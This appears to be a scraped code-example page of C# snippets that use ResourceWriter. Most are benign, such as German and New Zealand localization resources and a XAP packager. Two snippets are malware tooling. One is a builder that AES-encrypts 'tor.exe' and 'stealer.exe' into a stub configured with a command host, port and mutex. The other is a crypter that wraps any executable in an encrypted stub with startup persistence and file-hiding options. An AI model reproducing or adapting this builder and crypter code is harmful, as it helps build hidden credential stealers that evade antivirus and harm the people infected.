                    if (Directory.Exists(TempDirectory))
                    {
                        Directory.Delete(TempDirectory, true);
                    }
                    return("Done!");
                }
                #endregion
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex);
                try
                {
                    if (File.Exists(destinationIconPath))
                    {
                        File.Delete(destinationIconPath);
                    }
                    if (Directory.Exists(TempDirectory))
                    {
                        Directory.Delete(TempDirectory, true);
                    }
                }
                catch { }
                return(ex.Message);
            }
        }
Ejemplo n.º 44
0
        public bool BuildBin()
        {
            if (!File.Exists("tor.exe"))
            {
                MessageBox.Show("Tor doesnt exist.");
                return(false);
            }

            try
            {
                String[] arr_strStub = this.ReadCode("Stub");

                if (arr_strStub == null)
                {
                    return(false);
                }

                String strAESKey = CUtils.RandomString(CUtils.RandomInt(12, 24));

                if (OnLog != null)
                {
                    OnLog.Invoke("Compiling Stub...");
                }

                Byte[] arr_bTorBuffer, arr_bStealerBuffer = null;

                //Read Tor structure in-to array.
                arr_bTorBuffer = File.ReadAllBytes("tor.exe");

                CAES AES = new CAES(strAESKey);

                //Encrypt Tor structure
                arr_bTorBuffer = AES.Encrypt(arr_bTorBuffer);

                //Read Stealer structure in-to array
                arr_bStealerBuffer = File.ReadAllBytes("stealer.exe");

                //Encrypt Stealer structure
                arr_bStealerBuffer = AES.Encrypt(arr_bStealerBuffer);

                String strRandResName, strRandTorName, strRandStealerName;

                strRandResName     = CUtils.RandomString(CUtils.RandomInt(15, 32));
                strRandTorName     = CUtils.RandomString(CUtils.RandomInt(15, 32));
                strRandStealerName = CUtils.RandomString(CUtils.RandomInt(14, 32));

                using (ResourceWriter rwWriter = new ResourceWriter(String.Format("{0}.resources", strRandResName)))
                {
                    rwWriter.AddResource(strRandTorName, arr_bTorBuffer);
                    rwWriter.AddResource(strRandStealerName, arr_bStealerBuffer);
                }

                for (int i = 0; i < arr_strStub.Length; i++)
                {
                    if (arr_strStub[i].Contains("{SETTINGS_HERE}"))
                    {
                        string strSettings = AES.Encrypt(string.Format("{0}|{1}|{2}", m_strHost, m_strPort, m_iInterval));

                        arr_strStub[i] = arr_strStub[i].Replace("{SETTINGS_HERE}", strSettings);

                        arr_strStub[i] = arr_strStub[i].Replace("{AES_KEY_HERE}", strAESKey);

                        arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName);
                        arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName);
                        arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName);
                        arr_strStub[i] = arr_strStub[i].Replace("{MUTEX_HERE}", CUtils.RandomString(16));
                    }

                    /*if (arr_strStub[i].Contains("{HOST_HERE}"))
                     * {
                     *  arr_strStub[i] = arr_strStub[i].Replace("{HOST_HERE}", m_strHost);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{PAGE_HERE}", m_strPage);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{INTERVAL_HERE}", m_iInterval.ToString());
                     *  arr_strStub[i] = arr_strStub[i].Replace("{XOR_KEY}", strXorKey);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName);
                     * }*/
                }

                if (CCompiler.CompileFromSource(arr_strStub, "Stub.exe", m_bIsDebug, null, new string[] { String.Format("{0}.resources", strRandResName) }))
                {
                    if (OnLog != null)
                    {
                        OnLog.Invoke("Stub compiled.");
                    }

                    /*String strPayloadKey = CUtils.RandomString(CUtils.RandomInt(12, 24));
                     *
                     * byte[] arr_bStub = CUtils.Compress(CUtils.XorCrypt(File.ReadAllBytes("Stub.exe"), strPayloadKey));
                     *
                     * using (ResourceWriter rwWriter = new ResourceWriter("res.resources"))
                     * {
                     *  rwWriter.AddResource("payload", arr_bStub);
                     * }
                     *
                     * String[] arr_strLoader = this.ReadCode("Loader");
                     *
                     * for (int i = 0; i < arr_strLoader.Length; i++)
                     * {
                     *  if (arr_strLoader[i].Contains("{XOR_KEY}")) arr_strLoader[i] = arr_strLoader[i].Replace("{XOR_KEY}", strPayloadKey);
                     * }
                     *
                     * //File.Delete("Stub.exe");
                     *
                     * if (OnLog != null) OnLog.Invoke("Compiling Loader...");
                     * if (CCompiler.CompileFromSource(arr_strLoader, "Bot.exe", null, new string[] { "res.resources" }))
                     * {
                     *  if (OnLog != null) OnLog.Invoke("Loader compiled.");
                     *  return true;
                     * }*/
                    return(true);
                }
                else
                {
                    if (OnLog != null)
                    {
                        OnLog.Invoke("Compilation failed.");
                    }
                }
            }
            catch { }
            return(false);
        }
 private void WriteDataToResourceFile(String fileFormat, ResourceWriter resWriter, CultureInfo culture){
 ArrayList xmlTable;
 ArrayList xmlList;
 Int32 ielementCount;
 String elementName;
 StringBuilder resourceHolder;
 String resourceName;
 XmlTextReader reader;
 xmlTable = new ArrayList();
 xmlList = new ArrayList();
 reader = new XmlTextReader(xmlSchemaFile + "_" + fileFormat + ".xml");
 ielementCount=0;
 while (reader.Read())
   {
   switch (reader.NodeType)
     {
     case XmlNodeType.Element:
       if (reader.HasAttributes)
	 {
	 if(++ielementCount>2){
	 xmlTable.Add(String.Empty);
	 xmlList.Add(reader[0]);
	 }
	 }
       break;
     }
   }
 reader.Close();
 reader = new XmlTextReader(xmlDataFile  + "_" + fileFormat + "_" + culture.ToString() + ".xml");
 elementName = String.Empty;
 while (reader.Read())
   {
   switch (reader.NodeType)
     {
     case XmlNodeType.Element:
       elementName = reader.Name;
       break;
     case XmlNodeType.Text:
       if(xmlList.Contains(elementName)){
       xmlTable[xmlList.IndexOf(elementName)] = (String)xmlTable[xmlList.IndexOf(elementName)] + reader.Value + separator;
       }
       break;
     }
   }
 reader.Close();
 resourceHolder = new StringBuilder();
 foreach(String str111 in xmlList){
 resourceHolder.Append((String)xmlTable[xmlList.IndexOf(str111)] + EOL);
 }
 resourceName = baseFileName + fileFormat + culture.ToString();
 resWriter.AddResource(resourceName, resourceHolder.ToString());
 }
Ejemplo n.º 46
0
  /// <summary>
  /// This method generates resource files directly using the ResourceWriter class.
  /// </summary>
  public void GenerateResourceFiles()
  {
    // Generate the New Zealand resource file.
    ResourceWriter rw = new ResourceWriter(EN_NZRESFILE);
    rw.AddResource("promptValidDeg", "Please enter a viable outside temperature (-100 to 60).");
    rw.AddResource("dist1", "(in kilometres) ==>");
    rw.AddResource("degree1", "in Celsius ==>");
    rw.AddResource("degree2", "-100");
    rw.AddResource("degree3", "60");
    rw.Generate();
    rw.Close();
    Console.WriteLine("Generating resource file: {0}", EN_NZRESFILE);

    // Generate the Germand resource file.
    rw = new ResourceWriter(DERESFILE);
    rw.AddResource("promptName", "Geben Sie Ihren Namen ein ==>");
    rw.AddResource("promptAge", "Geben Sie Ihr Alter ein ==>");
    rw.AddResource("promptDegrees", "Geben Sie die aktuelle Temperatur ein,");
    rw.AddResource("promptMissing", "Stellen Sie sicher, dass Sie einen gültigen Wert eingeben.");
    rw.AddResource("promptValidAge", "Geben Sie ein gültiges Alter für einen Erwachsenen ein (15 und älter).");    
    rw.AddResource("promptDist", "Geben Sie an, wie weit Sie zur Arbeit fahren");
    rw.AddResource("promptValidDist", "Geben Sie einen gültigen Abstand ein (größer als Null).");
    rw.AddResource("promptValidDeg", "Geben Sie eine Außentemperatur ein (-60C bis 60F).");
    rw.AddResource("promptEntries", "Sie trugen die folgenden Informationen ein:");
    rw.AddResource("dist1", "(in den Kilometern) ==>");
    rw.AddResource("degree1", "in Celsius ==>");
    rw.AddResource("degree2", "-60");
    rw.AddResource("degree3", "60");
    rw.AddResource("outputName", "Name:");
    rw.AddResource("outputAge", "Alter:");
    rw.AddResource("outputDegrees", "Temperatur:");
    rw.AddResource("outputDist", "Abstand Zur Arbeit:");
    rw.Generate();
    rw.Close();
    Console.WriteLine("Generating resource file: {0}", DERESFILE);
  }//GenerateResourceFiles()
Ejemplo n.º 47
0
        private void button4_Click(object sender, EventArgs e)
        {
            SaveFileDialog FSave = new SaveFileDialog()
            {
                Filter           = "Executable Files|*.exe",
                InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            };

            if (FSave.ShowDialog() == DialogResult.OK)
            {
                // We read the source of the stub from the resources
                // and we're storing it into a variable.
                string Source = Properties.Resources.Stub;

                // If the user picked a storage method (he obviously did)
                // then replace the value on the source of the stub
                // that will later tell the stub from where it should
                // read the bytes.
                if (radioButton1.Checked)
                {
                    // User picked native resources method.
                    Source = Source.Replace("[storage-replace]", "native");
                }
                else
                {
                    // User picked managed resources method.
                    Source = Source.Replace("[storage-replace]", "managed");
                }

                // Check to see if the user enabled startup
                // and replace the boolean value in the stub
                // which indicates if the crypted file should
                // add itself to startup
                if (checkBox1.Checked)
                {
                    // User enabled startup.
                    Source = Source.Replace("[startup-replace]", "true");
                }
                else
                {
                    // User did not enable startup.
                    Source = Source.Replace("[startup-replace]", "false");
                }

                // Check to see if the user enabled hide file
                // and replace the boolean value in the stub
                // which indicates if the crypted file should hide itself
                if (checkBox2.Checked)
                {
                    // User enabled hide file.
                    Source = Source.Replace("[hide-replace]", "true");
                }
                else
                {
                    // User did not enable hide file.
                    Source = Source.Replace("[hide-replace]", "false");
                }

                // Replace the encryption key in the stub
                // as it will be used by it in order to
                // decrypt the encrypted file.
                Source = Source.Replace("[key-replace]", textBox3.Text);

                // Read the bytes of the file the user wants to crypt.
                byte[] FileBytes = File.ReadAllBytes(textBox1.Text);

                // Encrypt the file using the AES encryption algorithm.
                // The key is the random string the user generated.
                byte[] EncryptedBytes = Encryption.AESEncrypt(FileBytes, textBox3.Text);


                //File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "/source.txt", Source);

                // Compile the file according to the storage method the user picked.
                // We also declare a variable to store the result of the compilation.
                bool success;
                if (radioButton1.Checked) /* User picked native resources method */
                {
                    // Check if the user picked an icon file and if it exists.
                    if (File.Exists(textBox2.Text))
                    {
                        // Compile with an icon.
                        success = Compiler.CompileFromSource(Source, FSave.FileName, textBox2.Text);
                    }
                    else
                    {
                        // Compile without an icon.
                        success = Compiler.CompileFromSource(Source, FSave.FileName);
                    }

                    Writer.WriteResource(FSave.FileName, EncryptedBytes);
                }
                else
                {
                    // The user picked the managed resource method so we'll create
                    // a resource file that will contain the bytes. Then we will
                    // compile the stub and add that resource file to the compiled
                    // stub.
                    string ResFile = Path.Combine(Application.StartupPath, "Encrypted.resources");
                    using (ResourceWriter Writer = new ResourceWriter(ResFile))
                    {
                        // Add the encrypted bytes to the resource file.
                        Writer.AddResource("encfile", EncryptedBytes);
                        // Generate the resource file.
                        Writer.Generate();
                    }

                    // Check if the user picked an icon file and if it exists.
                    if (File.Exists(textBox2.Text))
                    {
                        // Compile with an icon.
                        success = Compiler.CompileFromSource(Source, FSave.FileName, textBox2.Text, new string[] { ResFile });
                    }
                    else
                    {
                        // Compile without an icon.
                        success = Compiler.CompileFromSource(Source, FSave.FileName, null, new string[] { ResFile });
                    }

                    // Now that the stub was compiled, we delete
                    // the resource file since we don't need it anymore.
                    File.Delete(ResFile);
                }
                if (success)
                {
                    MessageBox.Show("Your file has been successfully protected.",
                                    "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
                }
            }
        }
Ejemplo n.º 48
0
 public static string ToResource(string xapFile)
 {
     var resourceFile = Path.Combine(Path.GetTempPath(), "SLViewer.resources");
     using (var resourceWriter = new ResourceWriter(resourceFile))
     {
         resourceWriter.AddResource("content.xap", File.ReadAllBytes(xapFile));
         resourceWriter.Generate();
     }
     return resourceFile;
 }